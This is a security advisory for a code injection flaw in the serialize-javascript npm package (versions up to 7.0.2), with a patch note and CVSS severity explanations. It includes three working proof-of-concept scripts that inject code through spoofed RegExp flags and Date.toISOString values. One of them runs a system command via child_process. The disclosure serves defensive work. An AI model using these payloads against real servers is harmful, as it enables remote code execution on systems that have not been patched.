GHSA-5c6j-r48x-rmvq
ADVISORY - githubSummary
Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().
If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
Common Weakness Enumeration (CWE)
Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
GitHub
2.2
CVSS SCORE
8.1high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| serialize-javascript | npm | - | - | <=7.0.2 | 7.0.3 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
Chainguard
CGA-2jg9-9ccq-wcm4
-
minimos
MINI-6pr4-2f6j-8chc
-
minimos
MINI-p2rj-wvhq-7qxr
-